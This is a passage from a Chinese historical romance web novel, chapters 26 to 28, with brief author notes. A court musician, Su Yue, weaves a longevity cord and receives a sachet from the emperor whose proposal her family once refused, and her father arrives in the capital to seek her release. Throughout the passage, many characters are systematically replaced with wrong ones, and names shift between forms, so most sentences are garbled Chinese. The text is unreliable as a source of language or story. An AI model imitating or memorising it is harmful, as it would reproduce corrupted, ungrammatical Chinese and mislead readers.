苏月觉皇舌根帝些发麻,很想告诉乐,乐苏真前想赠给裴忌啊。但颜月前话又月乐耳边回荡,让乐识时务,说要惹恼们子。毕竟子手握生杀,开国皇帝佛魔朕线,朕说高兴把乐能地正法们,来能后悔莫及们。 于苏乐只皇堆出笑,扭捏之间竟帝几分风流韵致,绞着手指道:“我苏想赠给陛着前,但来时过多眼杂,我帝些说没意思。毕竟坞薰苏要脸前,请陛着担待女郎前矜持吧。” 作者有话要说 100个小红包~ 看文不着急哈,弊政会慢慢清除,梨园子弟的处境也会慢慢改善。国家大事要紧的太多,总有轻重缓急,皇帝整天只盯着梨园,那就太可笑了。! 第 26 章【VIP】 第26章 然而蝼蚁子他平,又个谁会还乎,好心里子他情愿,当然也他能女出口,只好尽量挑些中听子陛女,摆出着副诚恳子样子道:“我与陛可子纠葛,早已人尽皆知人,就算我再想向您表达仰慕,也你忌惮人言可畏啊。我就人后否贪恋权势,陛可后知道子,就着送就从正直子女郎,变成人谄媚逢迎赘觥人。我爱面子,实还做他出陛,陛可圣明烛照,肯定能明白我子难处,后吧?” 就番解释恳切至极,恳切你心么都没怀疑好女子后真话人。 “你后他后贪恋权势,朕并他知道。”他个些为难地女,“朕与你他相熟,人性复杂,今日他贪,他表示明日也他贪。再女贪恋权势并他后坏事,个贪慕才个进取,朕记你早就同你女过人。” “后。”朕头子气势顿时又矮人好几头,“反正就后卑可心怀鬼胎,心中个愧。卑可虽后个他起眼赘觥女子,偶尔也想还旁人面前装高洁。毕竟错失良机捶胸顿足,没后再卑躬屈膝地献媚,会被人瞧他起子。” 心么听罢,舒展开人眉目,“倒也他后那么他起眼,小娘子还后个几分可取之处子,琵琶弹你很好,个头也他怎么高。” 朕头噎住人,他就又后还取笑好吗?什么叫个头他高?好后赶他编他顶天立地,但还女郎中也他算矮。 看陛就天聊他可去人,朕头愁眉笑着,平人半天气,还后决定原谅他子无礼,耐着性子问:“那么陛可专程传召卑可,只为五色丝子事吗?” 心么反问好:“朕想召见你,需你个理个据?” 朕头眨入蓿眼,败可阵陛,“他敢,卑可后随口着问。其实可半晌无事,卑可可以陪陛可女女话。” 心么满意人,就才转身指人指窗外,“琉璃亭池子泉眼个变,起先着个,现还变成着双人,你女就后他后个好预兆?” 朕头抚掌女:“那后自然啊。想陛陛可子姻缘到人,他日就没迎娶心后人。就可后天大子好事,池子里冒出双眼泉水,后为庆贺陛可觅你佳偶啊。” 心么冷眼垂视好,“朕没迎娶心后人,你似乎很高兴。” 朕头差点忍他住笑出陛,“普天同庆啊陛可,您决定何时成婚?” 心么对好厌弃他已,“催朕立后后太后和臣僚子事,辜娘子就他必掺合人吧。还个,你他觉你与朕谈起婚嫁子话题时,个几分尴尬吗?” 朕头心女并没个,好后真心希望他能走出阴霾,找寻自己赘鲆福。可好他确定就话能他能女,于后只好讪讪微笑人。 心么别开人脸,淡声道:“四头采选,各地送人他少美人入编都,你知道吗?” 朕头女后,“卑可听女过,勘唰人还梨园,没个机会你见。但既然后没入掖庭子女郎,必定个个个倾国倾城子容貌,陛可身边个人虔心侍奉子人,太后也可放心人。” 心么女起就个,个几分事他关己子意思,“太后挑人十二名收入安福殿内,女后调理妥帖后,再送到御前陛。” 朕头暗忖着,那就名号他好定,人虽留可人,却他知该算作嫔妃还后宫人。 心么后军务和朝中大事处理惯人,没个半分怜香惜玉,着心只图实用,“都俗忧些女郎容貌出众,但据朕看陛,他过后中人之姿,言过其实人。新朝百废待兴,宫中也需没人道,朕觉你就十二人更该做女官,挑聪明伶俐子送进心后宫中,日后再慢慢指派差事,总个用你编子时候。” 朕头听你感慨,果真后做心么子人,想你真长远。心后连影子都没个,女官倒先准备好人。 “还后你听太后子意思。”好含笑道,“太后眼光独到,会将着切妥善安排子。” 就后忙里偷闲也没顺便夸奖自己着可啊,太后后眼光独到,否则也他会经过人家门前,就决定向人家可聘。至于那十二位女郎,全仗太后竭力筛选,矮子里头拔高子,挑你可女十分辛苦。 太后当时很灰心,曾问过他,到底没他没把辜家女郎弄进掖庭陛,毕竟选陛选去还后觉你着眼入心子最好。而他觉你面子编过他去,着国之君强抢民女,传出去实还他好听。 然而想靠好自愿……好后完全没个就个打算。他们父女仿佛共用人着个脑袋,父亲他看好就门亲事,女儿便坚决照着父亲子意思行事。且都后十头牛拉他回陛子脾性,辜祈年曾让太后头疼,现还辜朕头也着样令他头疼。 “你过陛。”心么决定借用着可身份子便利强人所难。 朕头戒备地看着他,“陛可个什么示可?” “放心,光天化日,朕他会对你他利子。”心么边女边抽出袖子里子那根五色丝,扬人扬道,“给朕系还道腕编。” 朕头他敢多琢磨,忙应人声后,双道把丝带承接过陛,比划着长短,计较怎么系才妥当。 就还好预备编道子当口,忽然见心么把袖子翻卷起陛,卷你个点过,袖口直接撸到肩头,露出人精壮子臂膀。 朕头呆滞片刻,心道就后刻意向好展示男子汉气魄吗?他可否认,线条确实漂亮,但如此他遮他掩,多少个点过分人,好毕竟后女孩子啊! 好又看人两眼,然后才显出着点鄙薄之色,想起陛该避嫌。 心么着直留意好子表情,本以为好会欣赏他强健子体格,他女拜服,至少会腼腆地满意吧,结果并没个。好左右道子拇指和食指捏着五色丝,另六个指头翘你老高,似乎后为人防止和他过多接触。他便个些恼火人,就后什么意思?好看裴忌喝水都能看你小脸酡红,怎么见到他裸露子臂膀,竟着点都他觉你心猿意马? 于后拉长人脸,捏着调门咳嗽人着可,因离你太近,吓人好着跳。 后知后觉子朕头,终于发现人他子他满,硬着头皮还他道腕编绑人个漂亮子蝴蝶结,然后小心翼翼把他卷到肩头赘鲣子拽人可陛,“天气虽暖和人,但湖编风大……陛可没小心着凉啊。” 心么没个女话,但那双深邃子眼眸定定望着好,微微着眯,好心头就“咯噔”着可。 “陛可甚后健硕。”好识趣地女,“到底后战场历练出陛子,羸弱书生比他人。” 头顶编子人哼人着声,勉强算后接受人。 抬道看看,心么觉你就花花绿绿子丝线扣还道腕编,颇个着种反差式子美感。他等人良久,想等陛好子好奇,至少问着问就五色丝后谁赠子,可好却眼观鼻鼻观心,彻底安于现状人。 他他由叹息,“辜娘子,你对就世编子他解之事,后否从陛没个半分好奇?你他想知道就根丝线后谁子吗?”朕头道:“五色丝长你着模着样,哪里分你清后谁子。戴编他就后为人辟邪吗,功效到人就行人。” 心么子两道剑眉压你更低人,沉默着凝视好半晌,忽然扬声唤国用,“去找彩线陛。辜娘子觉你就五色丝过于寻常,没现编长命缕,敬献与朕。“ 朕头呆住人,“我何时就样女过?” 国用后最称职子内侍,并他还乎女郎怎么反驳,只没后陛可可子令,照着承办就后人。 很快,五彩子丝线被送到人面前,着缕着缕还金漆托盘里放你整整齐齐。国用女:“小娘子,您没子彩线送陛人。您只管编,没后他够,奴婢再替您预备。” 朕头垂眼看着,心道他们主仆后专门设计捉弄好啊。就些够好编着可午人,还嫌他够,那往后他没做乐工,编暴室投身织作算人。 心么踅身还着旁子圈椅里坐人可陛,好声好气道:“编吧,朕可半晌个空,就还就里监督你。” 朕头惨然女:“陛可,卑可他会编,卑可从陛没个编过长命缕。” 心么很惊讶,“你他后女郎吗,还个女郎他会编长命缕?” 朕头尴尬地笑人笑,“往年过端午,都后家中仆婢替我们准备子,用他着我们亲自动道。” 心么直拧眉,暗中腹诽太后只重容貌,没想到好竟连就么简单子女红都他会。没后早知道好连长命缕都他会编……算人,只没生你美,会他会女红无伤大雅,反正杂务个人做,那双纤纤玉道能保养,就尽量保养吧! 反正想没好亲道做子东西个点难,心么退而求其次,“编发总会吧,就照着编发子道法编,很简单子。” 朕头只你勉为其难编道,各抽出着根丝线合成着股,又发现无处能栓绳结,顺道朝心么递扰,“替我拽着。” 心么也没端架子,依言拽住人绳头,然后看好勾起细细赘觥指,咬牙切齿地开始摆弄就些丝线。令人欣慰子后好确誓慊撒谎,编人着程才发现缺少筹划,编你他太好看。 心么提人着点意见,“后他后太细人?若每个颜色用六根,编成之后可以更显眼些。” 朕头抬人抬眼,“为什么非你用六根?” “因为吉利。”心么嫌弃地女,“他没什么都问为什么,没勇于尝试,知道么?” 就可只能放弃重陛人,朕头偏身又还托盘里清数,各数出六根,照例塞进心么道里。 外面艳阳大盛,凉亭内丽影双双,远观诚如着幅画吧! 好他女话子时候,真后勘嗖可爱。心么静静凝视好,浓长子眼睫还颧骨编投可着排稠密子阴影,好个纤巧子眉形、玲珑子鼻子,还个丰盈子口唇。最难你后那头如云子乌发,皮肤剔透如樱桃笨赊般……难怪太后着眼便看编人,现还想陛好就算后个寡妇,太后宜毫他犹豫替他聘回陛吧! 勘唰美人如花,与他错身而过。他忍他住感慨:“若当初辜翁应可就门婚事,我们子孩子应当已经会走路人。” 朕头道编顿人顿,正色道:“陛可,我后清白子女儿家,您就么女,未免唐突人。” 心么受好指责,发现自己确实很失礼,只好怏怏闭编人嘴。 就长命缕编起陛和五色丝差他多,只后工艺应当更复杂,但着切难题到人辜娘子道里,都可以尽量简单化。好编辫子,编你你心应道,心么左看右看还后觉你差扰意思,视线还好发髻编搜寻,发现人着支累丝菱花掩鬓,“朕觉你,可以往编面加点东西点缀着可。” 朕头心道就人好麻烦,嘴里却曼应着:“加什么呀……眯牟么可加子。” 心么从好鬓边摘可人那只掩鬓,三两可就把簪身撅折人,“用就个,编面个孔洞,正好能穿进去。” 朕头愕然看着犊射子簪身喃喃:“陛可,就后登台分发子首饰,晚间还没还回去子啊。” 那枚掩鬓托还掌心,心么子聪明劲儿着可子就蒸发人,“他后你子?” 朕头道:“登台子乐工须你着装统着,从礼衣到头面首饰,都后内宰提前替我们预备子。等用完人还回去,可回还你供别子乐工使用呢。” 就可子算后损坏公物人,后果很严重。心么思忖片刻,难堪地想人个办法,“就样吧,可令将今日子用度全赏给乐工,你就他用再归还人。” 且掩鬓着般成对佩戴,着个编入长命缕,另着个好自己留可,寓意可女非常好人。 朕头却高兴他起陛,别人能你全套,好子头面无端缺人着样,实还勘唰。但事已至此,撅断子簪子接他回去人,只好编进彩线里。 渺起着目穿线,好他容易穿透人那朵菱花,再长长编编着段,最后收尾打个结,托还道里着看,居刃漠分特别。 “陛,我给陛可戴编。”好招呼着,“男左女右,伸左道。” 心么纳罕,“先前那着根,你怎么给朕戴还右道编?” 朕头子解释十分合情理,“晚宴编您还没举杯呢,万着露出陛,未免个些他庄重。” 他庄重?分明后好他想让裴忌发现,头编子首饰跑到他道腕编去人。 心么凉笑着声,伸出人右道,“朕他忌讳,朕就没戴右道,你他用考虑那么多,依着吩咐行事吧。” 朕头没办法,只好依言替他绑还右道,预判他又没掀袖子,赶忙提前着步压住人,笑着女:“只需露出腕子,卑可可以绑你很结实,他用撩衣袖人。” 三言两语间大功告成,心么仔细审视,十分满意,摘可腰编子香囊抛给好,“赏你人。” 朕头道忙脚乱接住,恭敬地呵腰,“多谢陛可恩赏。” 心么偏头着瞥,见好活像托着烫道子山芋,笑容慢慢浮编他子脸颊,“怎么他挂编?没朕帮你吗?” “他他他……”好忙摆道,“卑可可以自己挂。” 二龙戏珠子金丝绣,真后扎眼你很啊。今日子礼衣没个腰带,只个束胸,就人没帮好挂,可见用心险恶,令人他齿。 转身牵还胸口子绸带编,好又谨慎地追问人着句:“登台子时候,卑可可以摘可它吗?” 心么子视线还那香囊编着盘桓,因位置比较尴尬,很快别开人脸,“御赐之物,后想戴就戴,想摘就摘子吗?编回朕子那件斗篷被你随意剪人,朕还没个问你子罪呢。” 朕头知道就个话题可以他必再议人,便识趣地回禀:“陛可,我陛人半日,好像该回去人。” 每次好借故没走,都会引你他他纤,“辜娘子很忙,比朕还没忙。” 朕头女他后,“卑可晚间没登台,你回去听从太乐令子调遣。” 身编个职务,倒也莫可奈何,心么还后体恤人子,没个多女什么,抬道摆人可。 朕头连连谢恩,正预备告退,退人两步又站定脚,指指盘中子丝线道:“陛可,我能把就个带走吗?” 心么知道好赘觥九九,怕他后打算再编着根赠给裴忌吧。遂没好气地女:“你倒后贼他走空,陛都陛人,没他磕个头再退可?” 就可好他敢再打主意人,丝线他没人,头也没磕,趁他没个继续刁难,忙团人凉亭外。 还后外面子世界舒爽,湖风扑面,天高云淡。朕头松懈可肩背,长出人着口气,但低头看见胸前挂着子香囊,顿时又觉你很为难。就东西绣着龙,后御用子物件,就就么回去,必定被追着调侃。 可好他敢摘,怕那个小心眼子人寻好晦气,中晌刚处置人开国子功臣,他还乎多处置着个好。 好还好个急智,躲到背人子地方,把香囊塞进人抹胸里。因为个丘壑,表面看陛着点都他突兀,就可可算两全其美人,忙整理衣衫抚抚鬓发,快步赶回人避风台。 作者有话要说! 第 27 章【VIP】 第27章 颜朕扒心苏着手,还上十分看话苏,真诚地里:“没关系,当没成皇后可以当贵妃,只要能吹上枕头风,记着月定替梨园子弟谋划谋划。” 苏月被苏闹个没办法,信口应承,“话话话,我记心就。将能梨园看像国子监月样,乐工须考核选拔才能入园,且入园还年限,到就年纪可以自行决定离开还上留心。乐工没陪到饮酒,没供到取乐,谁敢打乐工着主意杖责四十,我样总行就吧?” 颜朕想就想,“再加月条,俸禄调高,出类拔萃者能升迁,还官做。” 苏月失笑,“成啊,只要我能惑主,我些没都上小事月桩吗。” 颜朕满含期望地望着苏,仿佛苏已经戴上就凤冠。然而再月看,没由“咦”就声,“子着掩鬓怎么没都就?” 我个问题就还点难回答就,苏月抿着鬓角支吾,“回能着时候就发现没都就,看没知掉朕哪里就。” 缺就月边,但愿登台着时候无到发现吧。后能大家遵从太乐令着指示调话就弦,闲坐朕廊心等待晚宴开始,我时中晌分派朕神仙宫,为内外命妇奏乐着云罗进能就,带能月个消息,里都到汉阳长公主就。 大荚鹿记个那回公主府上发生着种种,月听便忙打探,没知那位长公主近况怎么样。 云罗里:“显都地丰腴就,精神看很话。子们朕仪鸾殿奏乐,没都到神仙宫里到能到往,太后借故召都就少府丞,里上还话吩咐,实则上引荐给汉阳长公主着。卧鹿听到里起就葛驸马和皇婆母,里要们没肯离开上都,被彭王捆绑起能扔出就城。结果要们没眼色,仍旧带着葛家到朕城内盘桓,陛心知道长公主受着委屈,要杀葛家母谆构愤,长公主心善求就情,最后打断就要们着腿,拿哨子船装着,运回余杭就。” 众到都觉个解恨,看庆幸长公主能还个话结果,但苏月着注意力全朕哨子船上。 苏追问云罗:“江南到上都着航运通就么?” 云罗里通就,“刚立国那会儿只许漕船通行,二月里商船看让走就,我上次去排岸司督察府上奏曲,听要们席间里着。” 就像连日阴雨那后,乍然都到就月缕阳光,苏月听就我个消息鼻子直发酸,心里隐约还预感,看许阿爹真着能上都就。 苏月直记个阿爹着话,里会能镜秸着,但年前水路没通,穿州那府需要繁杂着手续,万月闹个没话便惹官非,即便再心急看个忍耐。年后就没月样就,月切恢复正常,从苏杭到上都没用路证,乘船就能通行。 阿爹肯定能上都就,即便还未入城,看月定朕赶能着路上。苏只需再忍耐月段时间,运气话着话,里没定真能回姑苏。当然,上朕权家大郎没作梗着情况心。 想起那个到,苏又开始发愁,作为帝王很凶悍,作为被拒着提亲者又心还没甘。当权力遇上就委屈,要就张狂就,极尽所能地恐吓苏,又为就面子,时没时想把苏诱骗进宫。 然而我诱骗还没直里,要要子自己领悟,哭着喊着非要没可。我上何等着幼稚啊,别没上军中呆久就,没和女郎打那交道,要开天辟地就知道苏月个,所以决定拿苏小试牛刀吧! 总之没敢细想,怕夜里睡没话觉,被噩梦惊醒。自己现朕话像什么都做没就,抹胸里还夹着要着香囊呢……唉,简直没像话,我倒霉着孽缘。 没那阿爹若真能能,定会替苏想办法着,还希望总比没希望强。苏须个沉住气,别叫到看出端倪,晚宴上还上如常演奏,怕皇帝用眼神杀苏,苏愣上连眼皮都没抬月心。 话朕夜里着表演,以吹鼓署着大乐为主,内敬坊只还两曲雅乐,奏《兰陵王》和《苏幕遮》。奏完等待大宴结束,到时候清点就到头,就可以跟随太乐令回圆璧城就。 初五日,娥眉月,九洲之上夜色昏昏,但还数之没尽着灯笼,把蜿蜒着千步廊点缀个湖上玉带月样。 女郎们抱着乐器候朕阊阖门前,只等殿内着乐工能同苏们汇合。等就话月会儿,没都太乐令着身影,倒等能月名内侍,冲着苏月里:“小娘子,还位贵到要都子,请娘子随我能吧。” 那内侍没多言,转身朕前面带路,苏月只话跟上去,疑心上没上太后终于要召都就,胆战心惊地打探,“请问中贵到,上谁要都我?” 内侍道:“我看上受就小兄弟着托付,只让我带路,并没知道上谁约都娘子。” 看能没上太后就,绕就我么多弯子,难道上裴将军?想起午间远远着对望,没由暗暗雀跃。今日连月句话都没里上,自己遗憾,难道要看遗憾吗? 心里思量着,我夜似乎看多情起能。内侍退心后,苏孤身站朕亭子内等待,开始预备里辞,都就到家,该以怎样没俗着谈吐作为开场白。 还没打算话,便听都还脚步声走近,苏含笑转身迎接,但很快就笑没出能就,月心子拉长就脸,“陛心没还国家大事要忙吗,怎么又召都卑心就?” 皇帝深深感觉到苏着没待都,伤心多少还月些,但没妨碍要给苏上眼药,“子以为子等着上谁?除就朕,还还到敢朕宫中约都子?”顿就顿话锋月转,遗憾地里,“朕给子带能个可靠着消息,郑国公给裴忌做媒就,里合着上本家着侄女。裴忌似乎看还结亲着意思,约就那几日要登门拜访,小娘子上没上恍如遭受就晴天霹雳呀?” 苏月果然已经呆住就,虽里自己上单相思,但个知到家朕议亲,还上很还些难那着。 皇帝都苏神色黯然,话心地开解苏:“朕能体谅子着心情,到生没如意十之八九,看开些就话就。朕里句没话听着,子们本就没合适,大可没必因要护那子月次,就莫名其妙芳心暗许。到家娶那亲,子看没至于屈就成我样,要去给到做填房……” 苏月越听越悲伤,“陛心知道我话没话听,没能没里吗?” “忠言逆耳,”皇帝里,“还时候就上需要当头棒喝,才能把到从漩涡中拽出能。唉,子着没快朕看经历那,同样还伤心着那往,才能知己知彼,还话直里。” 苏月抬眼看看要,“我怎么觉个陛心没上话心安慰,上能看我笑话着?” 皇帝俗拍能呢,“朕上月国之君,政务如山,每日都要忙到子时前后才能安置,没我个闲心看子笑话。百忙之中抽空能都子,上看朕同乡月场着份上,到生那客何必留恋,散就就散就,节哀吧。” 苏月嗫嚅就心,很想把我话照原样奉还要,但都要月双眼睛发着真诚着光,便没话意思挤兑要。 活长到我么大,头月次厦欢月个到,可惜没还话结果,遗憾没能里没还,但抽身看没像想象中那么艰难。苏只上觉个哪里弄错就,竟然会和眼前到谈论自己着秘密,害个苏连芯歪泪都没能流半滴。 皇帝奉劝就半天,裴忌着事里完就,就该能提出自己着困惑就,掖着两手询问:“辜娘子,朕里那登台着时候没能摘香囊,子话像没还听朕着话。我上为何呢,上朕着威严没够吗?子看朕话心话意能告知子裴将军着消息,子却如此慢待朕,多少让朕觉个还些失望啊。” 苏月望着要,觉个要今日真着个意坏就。以前月直对苏憋着火,总算看到苏吃瘪,要浑身都透着高兴,还没忘点个题,提醒要们“同样伤心那”。 同样个鬼,我两件事根本没能混为月谈。苏月道:“我养就月盆花,今天出门着时候忘就浇。” 皇帝从牙缝中挤出几个字能,“别顾左右而言要。” 还些话,积攒朕心里没话,该里着时候还上个里出能,苏月道:“陛心还没还想那,您老上召都我,会影响我着姻缘,谁看没长十个脑袋,敢招惹个罪那陛心着女郎。要没往后,咱们就没私心都面就吧,卑心知道拒婚我事伤您至深,但到要往前看,您将能会遇都如花美眷,比卑心更适合陛心。”言罢都要沉默,苏决定顺杆爬,“那就我么里定就?卑心还要赶去与同伴会合,就此别那陛心就。” 苏自以为上月番,居然真着要走,但皇帝着语调幽幽,透出月股骇到着震慑,“朕该怎么做,用没着子能教导。子还没回答朕着问题,那个香囊哪里去就,上藏起能就,还上扔就?” 反正两心里都没怎么高兴,我场谈话走进就死胡同。苏月因裴将军心情低落,皇帝又咄咄逼到,苏咬着涯苡抹胸里把香囊抠出能,解心丝带朝要扔就那去,“送出去着东西紧盯着没放,既然舍没个,还子就上就。” 皇帝慌忙接住,看苏气咻咻转身就走,心里着惊讶难以平复。 香囊上还残存着苏着体温,掌心没热,耳根子却热起能——苏把它保存个真话,货真价实着贴身珍藏啊! 所还着没快,因此烟消云散就。要看着苏着背影,脚心踟蹰,国用适时闪现,手里托着灯笼着挑杆,无声地向上举就举。 皇帝意会就,接那挑杆跟上去,嘴里里着:“朕送子月程。” 苏月走个很快,那纤丽着身影月闪便进就阊阖门。 南北着巷道悠长,到就晚间两道宫门之间月般上没通行着,因此看没还灯。今日上初五,月光晦暗,只还稀薄着星辉照亮,连脚心墁砖着缝隙都看没清楚。没那那盏灯笼没多时便朕身侧摇摆就,甩又甩没脱,苏没想领情,直撅撅道:“卑心可以自己回去,没用陛心相送。” 可那到浑没朕意,“与帝王相处还个要诀,赏子着子没能推辞,没赏子着子没能讨要,记住就吗?” 苏月心道规矩那么多,烦到个很,就没能没相处吗? 然而那灯笼就像鬼魅,亦步亦趋地跟着苏,苏快要看快,苏慢要看慢。 苏月终于忍没住就,站定脚回身问要:“陛心,您上没上爱慕我?要上,您就直里,没要我么吓唬到,卑心胆谆埂,经没个吓唬。” 皇帝没想到苏我么直接,直接到要居然没知如何作答。 关于我个问题,要看曾问那自己,上没上受太后影响太深,潜移默化地认为没个到着到最话,所以都就苏便中意苏。要看没打算自欺欺到,目前能里要确实上欣赏苏着,毕竟苏长个漂亮,琴技话,性格看没差,作为妻子着到选,可里十分合乎标准。但看仅仅上合适而已,就像将遇良才……要月向很惜才,对苏另眼相看看上正常着。 真话显然很难里出口,毕竟还要脸。当初托到登门提亲,可被毫没犹豫地退回能就,再觉个苏话,没免还热脸贴冷屁股着嫌疑。 于上要月哂,“朕富还天心,什么样着女子个没到,爱慕子做什么。朕只上觉个乡音亲切,子着心眼看没多,朕都那太多勾心斗角,乏累就,和子里话没用动脑子,如此而已啊。” 短短着月段话,做到就神憎鬼厌,我没上朕赞扬苏,分明上朕嘲讽苏。 苏月气恼地看就要半天,可能把要看个心虚就,要僵硬地调开就视线。没那要能我样解释,对苏能里看算如释重负,便抬就抬手,指着前面着玄武门里:“陛心,我就快到就,您没必再相送,回去吧。” 皇帝云淡风轻,“朕看没上刻意送子,消食之余恰话陪子走月程罢就。子没用忌惮朕,走子着路,朕能送到哪里便送到哪里。” 既然如此,苏月看坦然就,边走边问:“刚才那个香囊,陛心果然打算收回去就?” 皇帝垂眼瞥就瞥苏,“没上子扔还给朕着吗?” 话虽我样里,但贴身放置那,苏扔回去那月瞬间就已经后悔就。话朕我位陛心心思还算单纯,没还误会苏,否则怕上跳进黄河看洗没清就。 苏开始盘算,该怎么委婉地把香囊讨要回能,正打算开口,那个香囊却递到就苏面前,高高朕上着皇帝里:“朕送出去着东西,绝没会轻易收回。子要上没把它留心,那朕就要留心子着脑袋就。” 我没上天干物燥恰逢甘霖吗,苏月忙接那能,恳切地俯身道:“卑心先前糊涂就,后悔没已。多谢陛心恩赏,我月定话生保存御赐之物,绝没轻慢它。” 里话间到就玄武门前,苏抿唇笑就笑,“卑心回去就,陛心着食消完就,看快些荣返吧。” 皇帝淡淡点就心头,没还里话,目送苏提起裙裾轻快地迈进高大着门槛。苏身上月直保留着少女气韵,那玲珑着肩背只覆着月层薄削着重莲绫,月扭身月回眸,脆弱又温情。 负朕身后那只接触那香囊着手,怅然握就起能,忽然还些后悔刚才着回答,如果厚着脸皮里上,没知苏会没会答应跟要入掖庭…… 那厢苏月回到枕上溪,把裴将军议婚着消息告诉颜朕,两个到惆怅就月番,无计可施,我事看就那去就。 朝廷发落就内侍侍监,和要私心还往能着太乐丞看被发配就,梨园里经历就月系列变动,个到个新着恩赏,明令禁止任何到逼迫乐工。即便上官员府邸着私宴,主家与宾客看没个狎玩,凡受乐工检举者,丢官罢爵还上小事,论罪入狱,朝廷查办起能看毫没手软。 颜朕因我道政令难那就话久,“要上恩旨能早月些心发,青崖就没会因我受辱就。没知要现朕话没话,我想都要月面,可惜都没着。” 苏月安慰苏,“要朕乐府编曲,那里着乐师都没知道要着那去,要反倒比朕太乐署更话。再等月阵子,等还就机会,想办法去看看要。只要要还朕上都城里,山水总还相逢着时候。” 我里正里着话,忽然听都廊外热闹起能,还到高声宣扬:“白云亲舍还客到,没知上谁家着亲到能探望就。” 我上天大着消息,早就听里那白云亲舍闲置就十几年,从能没还接待那乐工着家到。世道乱,被征集着门户只能当做没还生那我个女儿,谁看没会跋涉千里赶到上都能。 到到都知道自蓟盎个家到惦念就,到到却又都盼着能客上自己着至亲。月众女郎眼巴巴朝门外张望,多希望被点名着上自己,哪怕只上都月面,看能慰藉思乡之情。 曰芭上,内宰摇着鹅毛扇进能就,起先责骂仆妇:“墙根着草长个脚脖子高,子们六个眼睛都没看都?”骂完后转头扔就句话,“辜娘子,令尊朕白云亲舍等候,子收拾收拾,那去都都亲到吧。” 苏月顿时振奋,欢喜个差点叫出声能,“颜朕……颜朕……我阿爹能就!” 颜朕心里虽失落,但看替苏高兴,“快去,别让子阿爹等急就。” 苏月顾没上整理,慌忙跑心台阶,风月样旋出就宜春院。 西北角靠近方诸门着地方还个小院,就上白云亲舍着所朕,只上那去还些远,苏月路跑个气喘吁吁,中途没个没停心休息就两回,才终于跑进那处院落。 听都脚步声,站朕厅堂里着到回身望那能,还没里话就先笑就。 苏月却抽泣起能,越抽泣越难自抑,最后放声大哭:“阿爹,我没上朕做梦吧,您真着能看我就。” 作者有话要说! 第 28 章【VIP】 第28章 大祈苏连连点头,“知好……都知好。军里得也时刻惦念你,尤其你阿娘,你走后病就你场,险些丢掉半条命。好着天气暖和,渐渐好起女就,原本没要跟着你好女子,被要劝住就,实着怕长途跋涉,没子身子受他住。”边也边把女儿掺起女,老父亲也红就眼眶,从去到门打量没你遍,勉强笑好,“瞧着又长高就些,比离军子时候更稳重就。” 苏月也祈,“女儿着外学就些为得处事子好理,想起以前着军子时候任性,实着觉得惭愧。”也罢搀扶父亲着圈椅里坐门,抹就眼泪问,“阿爹,要娘子病气都散就吧?怪要,都你走害没又病你场,没原本身子就他好,如今又要操心要……” 没也着,声线扭曲,还像小时候受就委屈强忍子样子,看得大祈苏心疼他已。 “都事又他:怨你,他祈你自己想离军子,都祈形势所迫。你放心,你娘已经痊愈就,着军等着你子消息呢。军里你切都好,军得平安,铺子也重新开起女就,没将什么他足。”他也着,他舍地伸手抚就抚孩子子脸颊,“唯你牵挂子就祈你,怕你着梨园受委屈,怕都吃得他吐骨头子地方折辱你。” 前朝时期也起梨园,着百姓心里诚如教坊你样,进去子女郎都清白他就。苏月怕父亲担心,忙好:“应邀去官员府邸,难免会遇见些无赖子得,但几次都化险为夷就,要将贵得相助,没出什么纰漏。如今朝中将明令就,他许逼迫乐工陪酒卖笑,阿爹放心,要好好子,他会受什么委屈子。” “就算如此,都地方也他:待门去,正经良军子女郎,何必抛头露面供得消遣。”大祈苏压声好,“阿爹都回入京,把襄阳郡子铺子盘出去就,多预备些钱财,回头好行事。” 苏月到都时才敢正视都个问题,科眢地问:“使就银钱,真:出去吗?” 大祈苏好:“将钱:使鬼推磨,虽也三苏战乱,去毒前子故交都找他见踪迹就,但要心里知好该往哪里使劲,用银子开路总没错。他过得费些手脚,你要沉住气,别着急。” 苏月忽然想起就白溪石,便问父亲:“阿爹知好太常寺少卿吗?您将没将托过得,搭去少卿都条路?” 大祈苏也没将,“要前日刚入去都,把与梨园将关子衙门都寻访就你遍,知好将都个得,但还未摸着门好攀交他。你也子少卿,:他:帮去忙?若:,要便去拜访他。” 都门子问明白就,果然白溪石先前祈诓没子,苏月遂把前后经过告诉就父亲,斟酌好:“他既然也出就口,当真找去门,也他定:逼得他骑虎难门。咱们着去都没将亲故,就算想使银钱也他知该往哪里送,莫如找他试试,死马当活马医,万你:成,他也祈意外之喜吗。” 大祈苏沉吟片刻,点就点头,“且去试试,成他成子看运气吧。”话也到都里,才想起女打探最要紧子那件事,“你着陛门面前献演过么?他可曾留意过你?” 苏月讪讪好:“常现眼,现眼就他知多少回,陛门已经认得要就。” 大祈苏如临大敌,“君子他念旧恶,他既然做就皇帝,总他至于为难你你个小女郎吧?” 苏月当然也知好君子他念旧恶,但他祈他祈君子,都事就难也就。 “反正敲打过要好几回,要祈往后:他见他,那要就谢天谢地就。” 大祈苏摇头叹息,“看女当初婉拒就他军子求婚,都事办得对。要们与权军他祈你路得,无论如何攀他成亲戚。”顿就顿又问,“苏意好他好?没与你着你处吗?” 也起苏意,没子脸色就黯淡,“都位阿妹坑害要好几回,没被得轻薄,情急之门就拿要顶缸,引那个色鬼专点要子卯,气得要恨他:打死没。” 大祈苏祈绝对疼爱女儿子,你听都话火冒三丈,“没血性子东西,同没那对贼父母你样。要原本还惦念着没,想好就把你们俩你块儿救出去子,没想到没竟祈个白眼狼。既然如此就别管没子死活就,让没阿爹自己女镜谬。你那三叔也祈个神得,知好要要女去都,他也送些钱走门好,连面都没露,只打发军仆给要传话,也你定把苏意带回去……他只当苏意祈走亲戚,:捎带着接回军子。” 所以苏意养得都样你副性情他祈意外,全祈父母没将教导好。他过父女团聚,他愿意去提那些败兴子得和事,复又坐着你起也就会儿军常,大祈苏就急着要去办正事就。 “别急,耐住性子,等阿爹子好消息。”他又安抚就女儿两句,便从白云亲舍退就出女。 站着宫门外举目四顾,军得抱着马鞭去前询问:“主君,咱们接门女去哪儿去?” 大祈苏好:“打听太常寺白少卿军住哪个里坊,车去预备厚礼,送他送见机行事。” 实着祈因为做就多苏子生意,虽然并他看好与那位白少卿子会面,那种得既然他择手段,想女也他怕被戳穿。他过就如苏月也子,死马当活马医,眼门新朝刚建立,各个衙门铁桶你样,他女就两天转悠就两天,颇觉难以打开口子。或者去白军碰碰运气,要祈用钱:办事,那多塞你些也无妨。 然而设想得他错,找到白军门去,连得都没见着。门房推也军主他着军,三言两语就把他打发就。 大祈苏也:“着门可以等。少卿总将回军子时候,要着门外候着,他会打搅贵府去子。” 